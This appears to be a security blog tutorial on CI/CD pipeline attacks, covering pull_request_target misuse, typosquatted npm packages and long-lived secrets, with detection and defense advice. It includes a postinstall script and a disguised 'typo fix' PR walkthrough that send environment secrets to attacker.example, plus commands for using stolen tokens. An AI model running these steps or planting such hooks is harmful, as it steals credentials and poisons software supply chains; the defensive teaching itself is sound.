CI/CD Pipeline Attacks and Supply-Chain Risk

CI/CD Pipeline Attacks and Supply-Chain Risk - article cover image Containers & DevSecOps
Time it takes to read this article 7 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

CI/CD systems occupy a uniquely privileged position in modern software delivery: they hold credentials to push container images, deploy to production, publish packages, and access cloud infrastructure, and they execute automatically in response to events an outside contributor can often trigger — a pull request, a tag push, an issue comment. That combination of high privilege and attacker-reachable triggers makes the pipeline, not just the application it builds, a first-class attack surface — compromising it is frequently more valuable than compromising the application, because the output is trusted downstream.

This class of attack is grouped under “poisoned pipeline execution” (PPE) and software supply-chain compromise: an attacker gets arbitrary code to run inside a CI job — via a crafted pull request, a compromised dependency, or a misconfigured trigger — and from there exfiltrates secrets, tampers with build output, or pushes a backdoored artifact that inherits the pipeline’s trust and gets deployed as if legitimate. Because the pipeline typically has write access to production or a public registry, a single compromise can propagate to every consumer.

Attack Prerequisites

Pipeline compromise needs one of a few entry points, most requiring no existing access to the target organization:

  • The ability to open a pull request or push a branch against a public or semi-public repository whose CI runs automatically on that event.
  • A workflow trigger that runs attacker-influenced code with elevated permissions/secret access — most commonly GitHub Actions’ pull_request_target combined with a checkout of the PR’s own head ref.
  • A dependency the pipeline installs that the attacker can influence — typosquatted names, compromised maintainer accounts, or a build-time postinstall hook in a transitive dependency.
  • Branch protection that is absent or bypassable — missing required reviews, an exempted bot/service account, or force-push allowed on a branch that feeds a deploy pipeline.
  • Broad, long-lived secrets stored in the CI system rather than short-lived, scoped credentials — static cloud keys, a registry password with push access to all repos.

How It Works

The canonical poisoned pipeline execution pattern abuses the difference between a workflow’s *trigger context* and its *permission context*. GitHub Actions’ pull_request trigger runs with a read-only token and no secret access when the PR comes from a fork — a safe default. pull_request_target, by contrast, was introduced so workflows could label PRs or post comments with write access, and it runs with the base repository’s permissions and secrets, *not* the fork’s. The moment a workflow using pull_request_target also checks out and executes code from the PR’s own head (ref: ${{ github.event.pull_request.head.sha }}, or simply runs a build script from the PR branch), an external, unauthenticated contributor gets their code executed with write-scoped tokens and secret access, no merge or approval required.

Dependency-based supply-chain attacks work at build time rather than runtime: npm install/pip install executes arbitrary package code the instant it resolves a malicious package, because package managers routinely run installer hooks (postinstall, setup.py). Typosquatting (reqeusts instead of requests) and dependency confusion (publishing a package with an internal private package’s name, banking on a resolver preferring the higher-version public copy) both get code executed inside the CI runner with whatever secrets and network access it has.

Once code executes inside a CI job with secret access, exfiltration is trivial: CI environments almost always have outbound internet access and secrets are typically injected as plain environment variables, with no confinement between “job process” and “every secret configured for this job/repo.” The attacker can exfiltrate credentials for reuse, or tamper with the build in place — a backdoor in the artifact, a malicious workflow step, a poisoned image — so the compromise rides the pipeline’s own trust downstream.

Vulnerable Code / Configuration

The classic pull_request_target + fork-checkout pattern — write-scoped secrets available while executing code from an untrusted PR:

# .github/workflows/pr-preview.yml
name: PR Preview
on:
  pull_request_target:      # VULNERABLE trigger: runs with BASE repo's
    types: [opened, synchronize]   # permissions + secrets, even for forks

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # <- untrusted PR code
      - run: npm install && npm run build   # attacker's package.json runs here
        env:
          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}  # exfiltratable
YAML

A malicious dependency using an install hook to exfiltrate CI secrets, running the instant npm install resolves the package:

// package.json of a typosquatted / compromised dependency
{
  "name": "reqeust-utils",
  "version": "1.0.3",
  "scripts": {
    "postinstall": "node ./collect.js"
  }
}
JSON
// collect.js -- runs automatically via npm's postinstall hook
const https = require('https');
const env = JSON.stringify(process.env);   // CI secrets live here as env vars
https.request('https://attacker.example/collect', {
  method: 'POST', headers: {'Content-Type': 'application/json'}
}).end(env);
JavaScript

Overly broad, long-lived pipeline credentials — a static token with far more scope than any job needs, and no expiry:

# CI secret store (conceptually):
AWS_ACCESS_KEY_ID: AKIA...............
AWS_SECRET_ACCESS_KEY: ****************************
# VULNERABLE: static, long-lived IAM user credentials with
# AdministratorAccess, shared across every job and every branch,
# instead of a short-lived role assumed per-job via OIDC.
YAML

Walkthrough / Exploitation

Recon: identify workflows using pull_request_target that also check out the PR head — the highest-signal misconfiguration to look for in a public repo’s .github/workflows/:

gh repo clone target/repo -- --depth 1
grep -rl 'pull_request_target' target/repo/.github/workflows/
grep -A5 'pull_request_target' target/repo/.github/workflows/*.yml | \
  grep -B5 'head.sha\|head.ref'
Bash

Exploitation: open a PR from a fork whose branch modifies a file the workflow builds/executes, so the injected code runs with the base repo’s secret-bearing token:

git clone https://github.com/attacker/repo-fork.git
cd repo-fork
git checkout -b poc
# add a build step / script that the vulnerable workflow will execute
cat >> build.sh <<'EOF'
curl -s https://attacker.example/c -d "$(env)"
EOF
git commit -am 'docs: fix typo'
git push origin poc
gh pr create --title 'Fix typo in docs' --body 'Minor doc fix' \
  --repo target/repo --base main --head attacker:poc
# workflow fires on PR open, checks out poc's head, runs build.sh
# with target/repo's secrets in the job environment.
Bash

The exfiltrated token’s scope determines the blast radius:

# if it's a GitHub token
curl -H "Authorization: token $STOLEN_TOKEN" https://api.github.com/user
gh api /repos/target/repo --header "Authorization: token $STOLEN_TOKEN"
# if it's an AWS key
aws sts get-caller-identity --profile stolen
aws iam list-attached-user-policies --user-name <name> --profile stolen
Bash

Note: pull_request_target is not inherently unsafe — it exists for legitimate cases like auto-labeling. The vulnerability is specifically combining it with checking out or executing the PR’s own head content; a workflow that stays on the base branch and only reads metadata (title, labels) is fine.

Opsec: A PoC PR is highly visible in the target’s repository (public PR list, maintainer notification) — in an authorized engagement, coordinate timing and use an innocuous, clearly-scoped payload (a callback to an interactsh/Collaborator host rather than a live credential dump) so impact is demonstrated without exfiltrating production secrets.

Detection and Defense

Pipeline security follows least-privilege and provenance principles, with a few CI-specific controls layered on top:

  • Avoid pull_request_target with untrusted checkout — split the workflow: run untrusted build/test steps under plain pull_request (no secrets, fork-scoped token), and gate any privileged step behind manual approval (environment protection rules) via workflow_run after the unprivileged job completes.
  • Use OIDC federation instead of static long-lived secrets — GitHub Actions’ OIDC provider lets a job request a short-lived cloud credential (AWS AssumeRoleWithWebIdentity, GCP Workload Identity Federation) scoped to that repo/branch/environment, eliminating standing keys.
  • Least-privilege pipeline tokens — set permissions: explicitly and minimally at the workflow/job level; scope cloud IAM roles per pipeline rather than one shared credential.
  • Pin actions and dependencies to a commit SHA, not a mutable tag; enable Dependabot/Renovate with lockfile enforcement and audit for typosquatted package names before merging new dependencies.
  • Enforce branch protection with required reviews and no force-push/bypass exemptions, including for bot and admin accounts.
  • Adopt SLSA provenance and artifact signing — build attestations (SLSA) and signing (Sigstore/cosign) let consumers verify an artifact came from the expected pipeline and source commit.
  • Detect via alerts on workflow file changes on fork PRs, unusual outbound calls from CI runners, secret-scanning on pipeline logs, and review of who has secrets/environments write access in the audit log.

Real-World Impact

Poisoned pipeline execution via pull_request_target misuse is a well-documented pattern GitHub’s own security documentation explicitly warns about, and has been repeatedly demonstrated against open-source projects through responsibly disclosed bug bounty reports. Typosquatting and dependency-confusion attacks against npm and PyPI are an ongoing stream of takedowns on both registries. High-profile incidents such as the SolarWinds Orion build-system compromise and the Codecov Bash Uploader tampering incident illustrate the broader category — build/CI compromise propagating malicious code to every downstream consumer through a trusted channel — which is why CI/CD is now treated as core production infrastructure in mature security programs.

Conclusion

CI/CD pipelines combine two properties that make them an efficient target: they run code triggered by outsiders and hold the credentials to reach production. Every entry point — a crafted pull request, a malicious dependency, a long-lived secret, a bypassable branch protection rule — leads to the same outcome, arbitrary code executing with the pipeline’s trust. The durable defense is to shrink what any single triggered job can reach: short-lived credentials via OIDC, strict separation between untrusted and privileged build steps, pinned dependencies, and provenance/signing so a compromised build cannot masquerade as a legitimate one downstream.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL